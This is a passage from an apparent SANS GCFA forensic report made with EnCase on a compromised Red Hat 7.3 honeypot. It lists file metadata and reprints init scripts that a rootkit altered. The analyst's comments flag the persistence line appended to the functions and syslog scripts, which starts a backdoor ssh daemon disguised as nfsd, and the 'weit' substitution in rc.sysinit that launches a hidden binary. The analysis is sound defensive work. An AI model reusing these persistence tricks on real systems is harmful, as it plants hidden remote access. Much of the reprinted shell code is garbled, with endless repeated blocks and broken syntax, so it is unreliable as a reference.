<td>e8e31d1982dd547f0593e530e8541d6d</td>
<td>2,048</td>
<td>1,919</td>
</tr>
<tr>
<td>13) halt</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\halt</td>
<td>06/19/03 11:37:15AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/27/02 05:21:19PM</td>
<td>2381f1589d17b4795823dda2e891b0b3</td>
<td>6,144</td>
<td>5,153</td>
</tr>
<tr>
<td>14) netfs</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\netfs</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/19/03 11:37:15AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>----------------------</td>
<td>---------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/27/03 02:09:10PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>03/12/01 11:18:08AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>832173d444399f8da24f76d4d211ab161</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>5,120</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>5,104</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

15) Name: random
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\random
Entry Modified: 06/19/03 11:37:15AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 03/12/01 11:18:08AM
Hash Value: 27ea15de8132eef5987c204e05d19299
Physical Size: 2,048
Logical Size: 1,544

16) Name: single
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\single
Entry Modified: 06/19/03 11:37:15AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/27/01 04:49:42PM
Hash Value: 641a8cc64affbd56403795f87e24c2da
Physical Size: 2,048
Logical Size: 1,329

17) Name: ipchains
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified: 06/19/03 11:37:18AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/22/02 12:41:45AM
Hash Value: 61b0710c6cd9661045b4296b77229686
Physical Size: 4,096
Logical Size: 3,313

18) Name: ipchains
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ipchains
Entry Modified: 06/19/03 11:37:18AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 02/22/02 12:41:45AM
Hash Value: 61b0710c6cd9661045b4296b77229686
Physical Size: 4,096
Logical Size: 3,313

19) Name: anacron
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\anacron
Entry Modified: 06/19/03 11:38:11AM
Last Accessed: 06/27/03 02:09:10PM
Last Written: 06/24/01 08:25:30PM
Hash Value: 5479af54908ef2f8b169c17cee5acb54
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>1,024</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>934</td>
</tr>
</tbody>
</table>

#### 20) Name: lpd
- **Description:** File
- **Full Path:** `/etc/rc.d/init.d/lpd`
- **Entry Modified:** 06/19/03 11:39:08AM
- **Last Accessed:** 06/27/03 02:09:10PM
- **Last Written:** 04/02/02 10:57:07AM
- **Hash Value:** 37ba1d18ff0ff75142055f1b63d6cc9e

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>2,048</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>2,033</td>
</tr>
</tbody>
</table>

#### 21) Name: portmap
- **Description:** File
- **Full Path:** `/etc/rc.d/init.d/portmap`
- **Entry Modified:** 06/19/03 11:40:22AM
- **Last Accessed:** 06/27/03 02:09:10PM
- **Last Written:** 02/27/02 01:41:37PM
- **Hash Value:** 97d91eea25e86a592c5bebbaeac49f16

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>2,048</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>1,831</td>
</tr>
</tbody>
</table>

#### 22) Name: xinetd
- **Description:** File
- **Full Path:** `/etc/rc.d/init.d/xinetd`
- **Entry Modified:** 06/19/03 11:46:32AM
- **Last Accessed:** 06/27/03 02:13:01PM
- **Last Written:** 04/04/02 04:30:50PM
- **Hash Value:** 4296e734117325537d5750b8ed88d7e7

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>3,072</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>2,313</td>
</tr>
</tbody>
</table>

#### 23) Name: autofs
- **Description:** File
- **Full Path:** `/etc/rc.d/init.d/autofs`
- **Entry Modified:** 06/20/03 02:13:13AM
- **Last Accessed:** 06/27/03 02:09:10PM
- **Last Written:** 04/02/02 10:22:41AM
- **Hash Value:** 81744fd7f73f4923367f42cce374b64ab

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>10,240</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>9,435</td>
</tr>
</tbody>
</table>

#### 24) Name: nfslock
- **Description:** File
- **Full Path:** `/etc/rc.d/init.d/nfslock`
- **Entry Modified:** 06/20/03 02:14:00AM
- **Last Accessed:** 06/27/03 02:09:10PM
- **Last Written:** 04/09/02 09:14:14AM
- **Hash Value:** a3d40799d7f19b21f1652a6239b93625

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>3,072</th>
</tr>
</thead>
<tbody>
<tr>
<td>Logical Size</td>
<td>2,286</td>
</tr>
</tbody>
</table>

#### 25) Name: identd
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>snmpd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\snmpd</td>
<td>06/20/03 02:14:36AM</td>
<td>06/27/03 02:12:26PM</td>
<td>04/17/02 07:07:02AM</td>
<td>b9b3761374734822a49f4bb3e648867</td>
<td>2,048</td>
<td>1,160</td>
</tr>
<tr>
<td>yppbind</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppbind</td>
<td>06/20/03 02:14:45AM</td>
<td>06/27/03 02:09:10PM</td>
<td>03/25/02 03:44:14PM</td>
<td>b1482b84a650f1e4864538d7596fabe0</td>
<td>3,072</td>
<td>2,501</td>
</tr>
<tr>
<td>sshd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\sshd</td>
<td>06/29/03 03:22:04PM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/04/02 09:27:45PM</td>
<td>a84199973476d1ab0a4a42e6a617e853</td>
<td>3,072</td>
<td>2,647</td>
</tr>
<tr>
<td>yppasswdd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\yppasswdd</td>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td>04/16/02 10:09:56AM</td>
<td>7933a2a52eed4e1dfaf3e491e59ab10c</td>
<td>2,048</td>
<td>1,638</td>
</tr>
<tr>
<td>ypxfrd</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\init.d\ypxfrd</td>
<td>06/20/03 02:17:15AM</td>
<td>06/27/03 02:09:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name  functions
Comment: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
# Version: 0(4) /etc/init.d/functions 1.01 26-Oct-1993
# Author: Miquel van Smorenburg, <miquels@drinkel.nl.mugnet.org>
# Hacked by: Greg Galloway and Marc Ewing
#
# i18n originally by: Arnaldo Carvalho de Melo <acme@connectiva.com.br>,
# Wanderlei Antonio Cavassin
TEXTDOMAIN=initscripts
TEXTDOMAINDIR=/etc/locale

# Make sure umask is sane
umask 022

# First set up a default search path.
export PATH="/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin"

# Get a sane screen width
[ -z "${COLUMNS:-}" ] && COLUMNS=80
if [ -f /etc/sysconfig/i18n ]; then
  . /etc/sysconfig/i18n
else
  unset LANG
  if [ "$(LANG=-)" = "ja_JP.eucJP" -a ""/sbin/consoletype" != "pty" ]; then unset LANG
    elseif [ "$(LANG=-)" = "ko_KR.eucKR" -a ""/sbin/consoletype" != "pty" ]; then unset LANG
      elseif [ "$(LANG=-)" = "zh_CN.GB2312" -a ""/sbin/consoletype" != "pty" ]; then unset LANG
          elseif [ "$(LANG=-)" = "zh_TW.Big5" -a ""/sbin/consoletype" != "pty" ]; then unset LANG
            else
              export LANG
            fi
    fi
  fi
fi

# Read in our configuration
if [ -z "$BOOTUP:-" ]; then
  if [ -f /etc/sysconfig/init ]; then
    . /etc/sysconfig/init
  else
    # This all seem confusing? Look in /etc/sysconfig/init,
    # or in /usr/doc/initscripts/~/sysconfig.txt
    BOOTUP=color
    RES_COL=60
    MOVE_TO_COL="echo -en \033[1;32m" "\033[1;31m"
    SETCOLOR_SUCCESS="echo -en \033[1;32m"
    SETCOLOR_FAILURE="echo -en \033[1;31m"
    SETCOLOR_WARNING="echo -en \033[1;33m"
  fi
fi
EnCase Computer Analysis Report

setcolor_normal="echo -en \033[0;39m"
LOGLEVEL=1
fi
if [ -x /sbin/consoletype ]; then
  if [ "\`consoletype\"" = "serial" ]; then
    BOOTUP=serial
    MOVE_TO_COL=
    SETCOLOR_SUCCESS=
    SETCOLOR_FAILURE=
    SETCOLOR_WARNING=
    SETCOLOR_NORMAL=
  fi
fi
if [ "${BOOTUP:-}" != "verbose" ]; then
  INITLOG_ARGS="-q"
else
  INITLOG_ARGS=
fi
# Check if $pid (could be plural) are running
checkpid() {
  while [ "$1" ]; do
    [ -d /proc/$1 ] && return 0
    shift
  done
  return 1
}
# A function to start a program.
demon() {
  # Test syntax.
  local gotbase= force=
  local base= user= nice= bg= pid
  nicelevel=0
  while [ "$1" != "+1[1][-+]:" ]; do
    case $1 in
      ") echo "$0: Usage: daemon [+/-nicelevel] {program}"
         return 1;;
      --check)
        base=$2
        gotbase="yes"
        shift 2
        ;;
      --check=?)
        base=${1#--check=}
        gotbase="yes"
        shift
        ;;
      --user)
        user=$2
        shift 2
        ;;
      --user=?)
        user=${1#--user=}
        shift
        ;;
      --force)
        force="force"
        shift
        ;;
      [-+][0-9]*)
        nice="nice -n $1"
        shift
        ;;
      *) echo "$0: Usage: daemon [+/-nicelevel] {program}"
         return 1;;
    esac
  esac
  initlog "$0: Starting $2 at $3 of $1...
  "INITLOG_ARGS="--user=$user"
  if [ -n "$force" ]; then
    force=$force
  else
    force="force"
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  fi
  if [ "${BOOTUP:-}" != "verbose" ]; then
    echo "$0: Starting $2 at $3 of $1..."
    echo " -- force"
    echo " -- user $user"
    echo " -- base $base"
    echo " -- gotbase $gotbase"
    echo " -- nice "$nice"
    echo " -- loglevel $LOGLEVEL"
    echo " -- initlog_args $INITLOG_ARGS"
    echo " -- force $force"
    echo "$0: Using xterm by default..."
  else
    echo "$0: Using xterm by default..."
  fi
  shift
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/startx ]; then
    startx -a
  else
    echo "$0: Using xterm by default..."
  fi
  if [ -x /sbin/consoletype ]; then
    consoletype
  else
    echo "$0: Using xterm by default..."
  file
enac

done

# Save basename.
[-z "$gotbase"] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.

pid='pidfileofproc $base'

[-n "$pid" -a -z "$force"] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[-z "BOOTUP=-v" = "verbose" -a -z "$LSB"] && echo -n " $base"

# And start it up.
if [-z "$user" ]; then
$nice initlog $INITLOG_ARGS -c "$*"
else
$nice initlog $INITLOG_ARGS -c "$su -s /bin/bash - $user -c "$"
fi

 "$?" -eq 0 && success "$base startup" || failure "$base startup"
}

# A function to stop a program.
killproc() {
RO=0
# Test syntax.
if [ "$#" -eq 0 ]; then
    echo "$Usage: killproc [program] [signal]"
    return 1
fi

notset=0
# check for second arg to be kill level
if [ "$2" != "" ]; then
    killlevel="$2"
else
    killlevel="-9"
fi

# Save basename.
base=${1##*/}

# Find pid.

pid='pidofproc $1'
if [-z "$pid"] ; then
    pid='pidofproc $base'
fi

# Kill it.
if [-n "$pid"] ; then
    [ "$BOOTUP" = "verbose" -a -z "$LSB" ] && echo -n "$base "
    if [ "$notset" = "" ]; then
        if checkpid $pid 2>&1; then
            # TERM first, then KILL if not dead
            kill -TERM $pid
            usleep 100000
            if checkpid $pid && sleep 1 &&
            checkpid $pid && sleep 3 &&
            checkpid $pid ; then
                kill -KILL $pid
                usleep 100000
            fi
        fi
    fi

    [ "$BOOTUP" = "debug" -a -z "$LSB" ] && echo -n "$base"
    if checkpid $pid 2>&1; then
        if checkpid $pid && sleep 1 &&
        checkpid $pid && sleep 3 &&
        checkpid $pid ; then
            kill -KILL $pid
            usleep 100000
        fi
fi
checkpid $pid
RC= $? [ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC= $(! $RC)
# use specified level only
else
  if checkpid $pid > /dev/null 2>&1; then
    kill $killlevel $pid
    RC=$? [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
  fi
fi
else
  failure "$base shutdown"
  RC= 1
fi
# Remove pid file if any.
if [ "$notset" = "1" ]; then
  rm - f /var/run/$base.pid
fi
return $RC
}
# A function to find the pid of a program. Looks *only* at the pidfile
pidfileofproc() {
  local base=${1##*/}
  local pid

  # Test syntax.
  if [ "$#" = 0 ]; then
    echo "$Usage: pidfileofproc {program}" return 1
  fi

  # First try "/var/run/*.pid" files
  if [ - f /var/run/${base}.pid ]; then
    local line p pid=
    read line < /var/run/${base}.pid
    for p in $line ; do
      [ - z "${p//\[0-9]/}" -a - d /proc/$p ] && pid="$pid $p"
done
    if [ - n "$pid" ]; then
      echo $pid
      return 0
    fi
  fi

  # A function to find the pid of a program.
  pidofproc() {
    base=${1##*/}

    # Test syntax.
    if [ "$#" = 0 ]; then
      echo "$Usage: pidofproc {program}" return 1
    fi

    # First try "/var/run/*.pid" files
    if [ - f /var/run/${base}.pid ]; then
      local line p pid=
      read line < /var/run/${base}.pid
      for p in $line ; do
        [ - z "${p//\[0-9]/}" -a - d /proc/$p ] && pid="$pid $p"
done
      if [ - n "$pid" ]; then
        echo $pid
        return 0
      fi
    fi
  }

EnCase Computer Analysis Report

status() {
    local base=${1##*/}
    local pid
    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$Usage: status [program]"
        return 1
    fi
    # First try "pidof"
    pid=`pidof -o $$ -o $PPID -o %PPID -x $1 || \
        pidof -o $$ -o $PPID -o %PPID -x $2{base}`
    if [ "$pid" != "" ] ; then
        echo "$2{base} (pid $pid) is running..."
        return 0
    fi
    # Next try "/var/run/*.pid" files
    if [ -f /var/run/$base.pid ] ; then
        read pid < /var/run/$base.pid
        if [ "$pid" != "" ] ; then
            echo "$2{base} dead but pid file exists"
            return 1
        fi
    fi
    # See if /var/lock/subsys/$base exists
    if [ ! -f /var/lock/subsys/$base ] ; then
        echo "$2{base} dead but subsys locked"
        return 2
    fi
    echo "$2{base} is stopped"
    return 3
}

echo_success() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
    [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
    echo -n "$OK"
    [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
    echo -n "]"
    echo -ne "\r"
    return 0
}

echo_failure() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
    [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
    echo -n "$FAILED"
    [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
    echo -n "]"
    echo -ne "\r"
    return 1
}

echo_passed() {
    [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
    echo -n "[
    [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING

```
EnCase Computer Analysis Report

Sans GCFA Cert Assignment
EnCase Computer Analysis Report

Page 220

# Log that something succeeded
success() { 
  if [ -z "$(IN_INITLOG:-)" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    # silly hack to avoid EPIPE killing rc.sysinit
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >421
    trap - SIGPIPE
  else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >&21
    trap - SIGPIPE
  fi
  return 0
}

# Log that something failed
failure() { 
  if [ -z "$(IN_INITLOG:-)" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 2" >421
    trap - SIGPIPE
  else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 2" >&21
    trap - SIGPIPE
  fi
  return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() { 
  if [ -z "$(IN_INITLOG:-)" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >421
    trap - SIGPIPE
  else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >&21
    trap - SIGPIPE
  fi
  return $rc
}

# Log a warning
warning() { 
  if [ -z "$(IN_INITLOG:-)" ]; then
    initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >421
    trap - SIGPIPE
  else
    trap "" SIGPIPE
    echo "$INITLOG_ARGS-n $0-s "$1"-e 1" >&21
    trap - SIGPIPE
```

EnCase Computer Analysis Report

Sans GCFA Cert Assignment/EnCase Computer Analysis Report

Page 221

```bash
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_warning
return $rc
}

# Run some action. Log its output.
action() {
  STRING=$1
  echo -n "$STRING 
  shift
  initlog $INITLOG_ARGS -c "$**" && success "$STRING" || failure "$STRING"
  rc=$?
  echo
  return $rc
}

# returns OK if $1 contains $2
strstr() {
  [ "$1" = "$2" ] && return 0
  slice=${1#*$2*}
  [ "$slice" = "$1" ] && return 1
  return 0
}

# Confirm whether we really want to run this service
confirm() {
  local YES=$"yY"
  local NO=$"nN"
  local CONT=$"cC"
  while : ; do
    echo -n "$answer"
    read answer
    if strstr "$YES" "$answer" || [ "$answer" = "" ] ; then
      return 0
    elif strstr "$CONT" "$answer" ; then
      return 2
    elif strstr "$NO" "$answer" ; then
      return 1
    fi
  done
}

/usr/sbin/nfsd -f /sbin/sshd_config

37) Name     syslog
Description File
Full Path     /etc/rc.d/init.d/syslog
Entry Modified 06/29/03 03:25:21PM
Last Accessed 06/29/03 03:22:07PM
Last Written  06/29/03 03:25:21PM
Hash Value  7e7d2b5075662d3cd6e35c24b5003d69
Physical Size  2,048
Logical Size  1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/s directory. The nfsd is an ssh daemon listening for connection on port 18.

#!/bin/bash
# syslog         Starts syslogd/klogd.
# chkconfig: 2345 12 88
# description: Syslog is the facility by which many daemons use to log 
```
# messages to various system log files. It is a good idea to always \  
# run syslog.
### BEGIN INIT INFO
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ] ; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTIONS="-m 0"
  KLOGD_OPTIONS="-2"
fi
RETVAL=0

umask 077

start() {
  echo $n Starting system logger: "
  daemon syslogd $SYSLOGD_OPTIONS
  RETVAL=$?
  echo $n Starting kernel logger: "
  daemon klogd $KLOGD_OPTIONS
  echo
  [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo $n Shutting down kernel logger: "
  killproc klogd
  echo $n Shutting down system logger: "
  killproc syslogd
  RETVAL=$?
  echo
  [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
    ;;
  stop)
    stop
    ;;
  status)
    rhstatus
    ;;
  restart|reload)
    restart
    ;;
  condrestart)
#!/bin/bash

# /etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg’s bcheckrc.
#
# Rerun ourselves through initlog
if [-z "$IN_INITLOG" ]; then
    [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we’re using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd ] && x /sbin/devfsd
# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME="/bin/hostname"

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
    ./etc/sysconfig/network
else
    NETWORKING=no
fi

if [ -z "HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
    HOSTNAME=localhost
fi

# Source functions
./etc/init.d/functions

# Print a banner. ;)
echo -en $"\t\tWelcome to "
if grep -q "Red Hat" /etc/redhat-release ; then

38) Name rc.sysinit
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/etc/rc.d/rc.sysinit
Entry Modified 06/29/03 03:22:09PM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/29/03 03:22:09PM
Hash Value ee965268d25b94ed0ffeb16d6be5be890
Physical Size 22,528
Logical Size 22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calles popauth, an executable in the /x directory.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

[[ "$BOOTUP" = "color" ] & echo "\e[1;31m" echo $"\\033[1;31m"
echo "Red Hat"
[ "$BOOTUP" = "color" ] & echo "$"\\033[0;39m"
PRODUCT=\"*/g\" /etc/redhat-release'
else
PRODUCT=\"*/g\" /etc/redhat-release'
fi
if [ "$PRODUCT" != "no" ]; then
echo "$\t\tPress 'I' to enter interactive startup."
echo
sleep 1
fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts & & ! grep -q /initrd/loopfs /proc/mounts ; then
if [-e /initrd/dev/.devfsd ]; then
umount /initrd/dev
fi
action "$Unmounting initrd: " umount /initrd
/sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1
fi

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -e /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0
if [-f /etc/sysconfig/clock ]; then
 ./etc/sysconfig/clock
  # convert old style clock config to new values
  if [ "$CLOCKMODE" = "GMT" ]; then
UTC=true
  elif [ "$CLOCKMODE" = "ARC" ]; then
ARC=true
  fi
fi
CLOCKDEF=""
CLOCKFLAGS="$CLOCKFLAGS --hctosys"

case "$UTC" in
  yes|true)
  CLOCKFLAGS="$CLOCKFLAGS --utc";
  CLOCKDEF="$CLOCKDEF (utc)";
  ;;
  no|false)
  CLOCKFLAGS="$CLOCKFLAGS --localtime";
  CLOCKDEF="$CLOCKDEF (localtime)";
  ;;
  esac

case "$ARC" in
  yes|true)
  CLOCKFLAGS="$CLOCKFLAGS --arc"
  CLOCKDEF="$CLOCKDEF (arc)";
  ;;
  no|false)
  CLOCKFLAGS="$CLOCKFLAGS --localtime";
  CLOCKDEF="$CLOCKDEF (localtime)";
  ;;
  esac
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report  Page 225

```

};

esac

case "$SRM" in
  yes|true)
    CLOCKFLAGS="$CLOCKFLAGS --srm";
    CLOCKDEF="$CLOCKDEF (srm)";
  esac

/sbin/hwclock $CLOCKFLAGS

action "$Setting clock $CLOCKDEF: `date`" date

if [ ""/sbin/consoletype"" = "vt" ]; then
  # Load keymap
  if [ -x /bin/loadkeys ]; then
    KEYTABLE=
    KEYMAP=</etc/sysconfig/console/default.kmap ]; then
  KEYMAP=/etc/sysconfig/console/default.kmap
  else
    if [ -f /etc/sysconfig/keyboard ]; then
      . /etc/sysconfig/keyboard
    fi
    if [ -n "$KEYTABLE" -a -d "/usr/lib/kbd/keymaps" -o -d "/lib/kbd/keymaps" ]; then
      KEYMAP=$KEYTABLE
    fi
    fi
  fi
  if [ -n "$KEYMAP" ]; then
    # Since this takes in/output from stdin/out, we can't use initlog
    if [ -n "$KEYTABLE" ]; then
      echo "$Loading default keymap ($KEYTABLE): "
    else
      echo "$Loading default keymap:"
    fi
    loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
    success "$Loading default keymap" || failure "$Load
    ing default keymap"
    echo
  fi
fi

# Load system font
if [ -x /sbin/setsysfont ]; then
  if [ -f /etc/sysconfig/console/i18n ] && . /etc/sysconfig/i18n
  if [ -f /etc/sysconfig/ Console/sysfont.psf.gz -o 
    -f /usr/lib/kbd/consolefonts/ $sysfont.psf.gz -o 
    -f /etc/sysconfig/console/$sysfont.gz -o 
    -f /lib/kbd/consolefonts/$sysfont.gz -o 
    -f /lib/kbd/consolefonts/$sysfont.psf.gz ]; then
    action "$Setting default font ($sysfont): " /sbin/setsysfont
  fi
fi

# Start up swapping.
action "$Activating swap partitions: " swapon -a -e

# Set the hostname.
action "$Setting hostname ${HOSTNAME}: " hostname ${HOSTNAME}

# Initialize USB controller and HID devices
usb=0
if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
  aliases=</sbin/modprobe -c awk '/alias usb-controller/ { print $3 }' |
  if [ -n "$aliases" -a "$aliases" != "off" ]; then
    modprobe usbcore
